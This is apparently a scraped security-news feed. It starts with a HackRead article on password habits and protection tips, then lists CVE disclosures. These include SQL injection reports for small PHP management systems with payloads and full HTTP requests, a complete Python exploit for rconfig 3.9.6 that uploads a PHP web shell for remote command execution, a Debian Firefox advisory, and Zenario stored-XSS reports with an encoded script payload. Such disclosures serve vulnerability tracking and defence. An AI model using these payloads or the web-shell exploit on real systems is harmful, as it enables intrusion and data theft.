By Waqas
ExpressVPN’s study on the most common passwords around the world showed that 42% of people use their first name in their passwords, while 43% of them use their birth date.
This is a post from HackRead.com Read the original post: Study shows that 42% of people use their names in passwords

Password theft can make life significantly more difficult. Aside from benign major hassle, compromised passwords can easily lead to identity theft and cause serious legal issues. Therefore, it is worth paying attention to the strength of your passwords and changing them regularly or, at the latest, when you suspect your accounts have been compromised.

ExpressVPN’s study on the most common passwords around the world showed that 42% of people use their first name in their passwords, while 43% of them use their birth date. Since this information is easily traceable on social media, your accounts can be more prone to hacking attacks.

**How can someone find out my password?**

A compromised password allows unauthorized people to log into your accounts. Password compromise is usually not your fault; your data is not directly compromised on a specific computer. There’s no reason to automatically assume that an attacker has accessed or hacked your computer and is still watching it (these thoughts are only appropriate if you find that multiple passwords have been compromised in a relatively short period of time).

The most common reason is the theft of user’s personal data from various services. It is also conceivable that attackers could hack and obtain a database of users of a certain service (a so-called “Breach”) and then publish it. The password is then sold on the black market and can in fact be read by anyone. 

**How to protect yourself****Checking for fraudulent use**

You can easily check your password online. Take a look at the publicly available tools that can do this. Most of them work automatically and can send an alert when you enter your email address if they detect a leak or incident (containing your email address or password) as mentioned above.

The best-known monitoring tool is ”have I been pwned”. Here, after entering your email address, you can see which services or providers have been hacked and which user accounts have been compromised. If your account is listed, consider your password hacked and change it urgently. It is clear which one it is by looking at your password, even if it is not naturally displayed.

You can type the password directly into the Pwned Passwords tool (instead of looking for the associated email). The result is a notification of whether the password was part of a data breach and how many times it happened. The database contains over 613 million compromised passwords that have previously been proven to have been stolen.

Other password compromise checking services:

*   F-Secure
*   Firefox Monitor
*   Chrome browser
*   Avast Hack Check
*   Mirkat for Lenovo

**Discover weak and duplicated passwords at the administrator or keychain**

Password compromise detection or password weakness alerts should be available in any decent password manager. We’ve already covered them in our magazine, and you can find the best-known ones in a dedicated password managers section.

On some systems, passwords are stored in keychains that support the features mentioned above; for example, on iOS (iPhone) and macOS, the keychain warns if a password is weak or repeated across multiple services. Since iOS 14 and macOS Big Sur, the keychain can also keep track of compromised passwords. If your saved password has an exclamation mark icon next to it, you should change it right away.

1.  List of 2020’s most used passwords is here and it’s appalling
2.  Revealed: The 200 Most used and Worst Passwords of 2021
3.  Chrome on Android will alert, fix your compromised password
4.  Psst! tool by 1Password lets users share passwords using a link
5.  Nissan source code leaked, it used “admin” as username, password

**Use a password manager**

The average internet user uses so many services and apps that if they had to use unique passwords for each one, they would not be able to remember them. So, if you don’t want to give up security completely and use a single password, we recommend using a password manager.

Password managers may even suggest strong passwords, which is something to consider. Password suggestions are also built into some browsers or password manager plug-ins allow this feature. Artificial intelligence can judge better than the user what is a suitable and strong password.

The default setting for cloud-based password managers is to log in with 2FA. If you use a password manager on your phone, it usually has biometrics – fingerprint or facial recognition. This adds another layer of security to password access.

**Ustwo-factor authentication**

We regularly cover two-factor authentication (2FA) in our magazine, so the term is certainly not new to you. Simply put, 2FA adds an extra layer of protection to your login, so a simple password is no longer enough. To log in, you will still need to enter a one-time password (OTP), which is generated separately on the device you have. This is usually an app on your smartphone that shows you an OTP password for each “paired” service, which is valid for a very short period.

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Study shows that 42% of people use their names in passwords

Online Leave Management System v1.0 was discovered to contain a SQL injection vulnerability via the component /admin/?page=user/manage_user&id=.

Permalink

**Online Leave Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: SunQingYu

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /leave\_system/admin/?page=user/manage\_user&id=

Vulnerability location: /leave\_system/admin/?page=user/manage\_user&id=,id

dbname=leave\_db,length=8

\[+\] Payload: /leave\_system/admin/?page=user/manage\_user&id=12%27%20and%20length(database())%20=9--+ // Leak place ---> id

GET /leave\_system/admin/?page\=user/manage\_user&id\=12%27%20and%20length(database())%20\=9\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5
Connection: close

length=8 

length=9

CVE-2022-43179: bug_report/SQLi-1.md at main · debug601/bug_report

Online Diagnostic Lab Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /clients/view_client.php.

**Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: Linwei

Login account: admin/admin123 (Super Admin account)

Login account: cblake@sample.com/cblake123 (General account)

vendors: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/admin/clients/view\_client.php?id=

Vulnerability location: /odlms/admin/clients/view\_client.php?id=,id

dbname=odlms\_db,length=8

\[+\] Payload: /odlms/admin/clients/view\_client.php?id=-2%27%20union%20select%201,2,3,4,database(),6,7,8,9,10,11,12,13,14,15--+ // Leak place ---> id

GET /odlms/admin/clients/view\_client.php?id\=\-2%27%20union%20select%201,2,3,4,database(),6,7,8,9,10,11,12,13,14,15\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close

CVE-2022-43163: bug_report/SQLi-1.md at main · Zer0vAv/bug_report

Online Diagnostic Lab Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /tests/view_test.php.

**Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: Zhangyushi

Login account: admin/admin123 (Super Admin account)

Login account: cblake@sample.com/cblake123 (General account)

vendors: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/admin/tests/view\_test.php?id=

Vulnerability location: /odlms/admin/tests/view\_test.php?id=,id

dbname=odlms\_db,length=8

\[+\] Payload: /odlms/admin/tests/view\_test.php?id=-1%27%20union%20select%201,database(),3,4,5,6,7,8--+ // Leak place ---> id

GET /odlms/admin/tests/view\_test.php?id\=\-1%27%20union%20select%201,database(),3,4,5,6,7,8\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close

CVE-2022-43162: bug_report/SQLi-1.md at main · zys20201225/bug_report

Automotive Shop Management System v1.0 is vulnerable to SQL Injection via /asms/admin/?page=user/manage_user&id=.

**Automotive Shop Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: acvxd

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /asms/admin/?page=user/manage\_user&id=

Vulnerability location: /asms/admin/?page=user/manage\_user&id=, id

dbname =asms\_db,length=7

\[+\] Payload: /asms/admin/?page=user/manage\_user&id=3%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /asms/admin/?page\=user/manage\_user&id\=3%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0bfse7548hblm5lblclp48r057; dou\_member\_id=1; dou\_member\_code=3a2d7d2301afce4cf127
Connection: close

CVE-2022-44403: bug_report/SQLi-1.md at main · acvxd/bug_report

Automotive Shop Management System v1.0 is vulnerable to SQL Injection via /asms/classes/Master.php?f=delete_transaction.

**Automotive Shop Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: acvxd

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /asms/classes/Master.php?f=delete\_transaction

Vulnerability location: /asms/classes/Master.php?f=delete\_transaction, id

dbname =asms\_db,length=7

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /asms/classes/Master.php?f\=delete\_transaction HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0bfse7548hblm5lblclp48r057; dou\_member\_id=1; dou\_member\_code=3a2d7d2301afce4cf127
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-44402: bug_report/SQLi-2.md at main · acvxd/bug_report

An arbitrary file upload vulnerability in rconfig v3.9.6 allows attackers to execute arbitrary code via a crafted PHP file.

**rconfig 3.9.6 - Arbitrary File Upload**

**Platform:****PHP**

**Date:****2021-04-21**

  

    # Exploit Title: rconfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (2)
    # Exploit Author: Vishwaraj Bhattrai
    # Date: 18/04/2021
    # Vendor Homepage: https://www.rconfig.com/
    # Software Link: https://www.rconfig.com/
    # Vendor: rConfig
    # Version: <= v3.9.6
    # Tested against Server Host: Linux+XAMPP
    
    import requests
    import sys
    s = requests.Session()
    
    host=sys.argv[1] #Enter the hostname
    cmd=sys.argv[2]  #Enter the command
    
    def exec_cmd(cmd,host):
        print "[+]Executing command"
        path="https://%s/images/vendor/x.php?cmd=%s"%(host,cmd)
        response=requests.get(path)
        print response.text
        print "\n[+]You can access shell via below path"
        print path
    
    def file_upload(cmd,host):
        print "[+]Bypassing file upload"
        burp0_url = "https://"+host+":443/lib/crud/vendors.crud.php"
        burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------3835647072299295753759313500", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/vendors.php", "Upgrade-Insecure-Requests": "1"}
        burp0_cookies = {"_ga": "GA1.2.71516207.1614715346", "PHPSESSID": ""}
        burp0_data = "-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"vendorName\"\r\n\r\nCisco2\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"vendorLogo\"; filename=\"banana.php\"\r\nContent-Type: image/gif\r\n\r\n<?php $cmd=$_GET['x'];system($cmd);?>\n\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"add\"\r\n\r\nadd\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"editid\"\r\n\r\n\r\n-----------------------------3835647072299295753759313500--\r\n"
        requests.post(burp0_url, headers=burp0_headers, cookies=s.cookies,data=burp0_data)
        exec_cmd(cmd,host)
    
    
    def login(host,cmd):
        print "[+]Logging in"
        burp0_url = "https://"+host+":443/lib/crud/userprocess.php"
        burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/login.php", "Upgrade-Insecure-Requests": "1"}
        
        burp0_data = {"user": "admin", "pass": "admin", "sublogin": "1"} #Use valid set of credentials default is set to admin/admin
        response=s.post(burp0_url, headers=burp0_headers, cookies=s.cookies, data=burp0_data)
        file_upload(cmd,host)
    
    login(host,cmd)

CVE-2022-44384: Offensive Security’s Exploit Database Archive

Debian Linux Security Advisory 5282-1 - Multiple security issues have been found in the Mozilla Firefox web browser, which could potentially result in the execution of arbitrary code, information disclosure, spoofing or bypass of the SameSite cookie policy.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5282-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffNovember 16, 2022                     https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : firefox-esrCVE ID         : CVE-2022-45403 CVE-2022-45404 CVE-2022-45405 CVE-2022-45406                 CVE-2022-45408 CVE-2022-45409 CVE-2022-45410 CVE-2022-45411                 CVE-2022-45412 CVE-2022-45416 CVE-2022-45418 CVE-2022-45420                 CVE-2022-45421Multiple security issues have been found in the Mozilla Firefox webbrowser, which could potentially result in the execution of arbitrarycode, information disclosure, spoofing or bypass of the SameSite cookiepolicy.For the stable distribution (bullseye), these problems have been fixed inversion 102.5.0esr-1~deb11u1.We recommend that you upgrade your firefox-esr packages.For the detailed security status of firefox-esr please refer toits security tracker page at:https://security-tracker.debian.org/tracker/firefox-esrFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmN1MS0ACgkQEMKTtsN8TjbLmBAAvNyETXc0dcwyCQIi/l6KVCLVwzQ8na8zSbrZZGzhebA7WKqeryy8O4f/8qv/chi7chHIlSY9aHkw65fDklAIkKomXUi+E58yvuSa1/DyYBGpQMoWrzHE4hAqs+VuZ/FwY/QiNeOXo0q44PuT/cjBY9LEUciJSywEK/YI0fPDG+F1VbaCK0EOvw7Zxi+VxVCkN6UIF7g0Rr3eibTWKgZi/EHrMgtA4UYg5ml6INVo306azZlDtTfZHympU48OKweMBEWpk0/f6rHmpTuWPWsuzLlpECeBRj4OdJOjmnjprhKJxE4KhHCJkYfVOLBh0SPjIM8k6bgzgXhD3Lc62xE2mqfDHYkIhMtm60r9GZbJzlEht8qeYLtlibfpm+IGx/RJDeuQJTv5jzsXto/lY4zThl/++E/30ecH7ynqj1R3394BAd9rW2O2rWcrWyas8Wa5Qpt7R+/OULq0OEAflT9m4HY3unflxIvmyTSINjryyKFe5Ns4uWB3E5sDBcnV4hqY/NOkUBVaZEhqmL9bvMvtviwj0eDzJBqVgOUxcy+IiT6aCCC4Dnr/CH3Odv7KHHpexKIIT80/uPNZPv2d5nNZXW5JO4ycD7lrZktjCOmXBHkJ2UJiQ3EiGJF6POIOInrEikwV7DqY1ix4uKbvl42xrsa7rZUYHWylFOS9gnFcJOk=5Vwd-----END PGP SIGNATURE-----

Debian Security Advisory 5282-1

Zenario CMS 9.3.57186 is vulnerable to Cross Site Scripting (XSS) via svg,Users & Contacts.

**Summary**  
hi team,  
I found Stored XSS in upload file svg version 9.0.54156 reported the vulnerability with CVE-2021-41952, in version 9.3.57186 i have bypassed it  
visit : #1 to view my report

**Info**  
Zenario 9.3.57186 last version  
FireFox 105.0.3 (64-bit)  
Chrome 106.0.5249.119

_**I will recreate it again**_  
**Steps**

1.  Login home page >> Choose **Users & Contacts** and create any user
    
2.  Click **Image** >> Upload an image  
    
3.  payload i inject to svg  
    
4.  go to link file inject , paypload executed

CVE-2022-44073: XSS upload file SVG in Zenario 9.3.57186 · Issue #6 · hieuminhnv/Zenario-CMS-last-version

Zenario CMS 9.3.57186 is vulnerable to Cross Site Scripting (XSS) via News articles.

**Summary**  
hi team,  
I found small Stored XSS

**Info**

Zenario 9.3.57186 last version  
FireFox 105.0.3 (64-bit)  

**Steps**

Login to account http://xxx.xxx.x.x/admin.php?  

in tab Menu, choose **News articles**  
Click **New News articles** >> in tab **Meta Data** inject code into **Summary** and tab **Main content** >> save  
  
  

**payload:** <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" \`AllowScriptAccess="always">

Tag

#firefox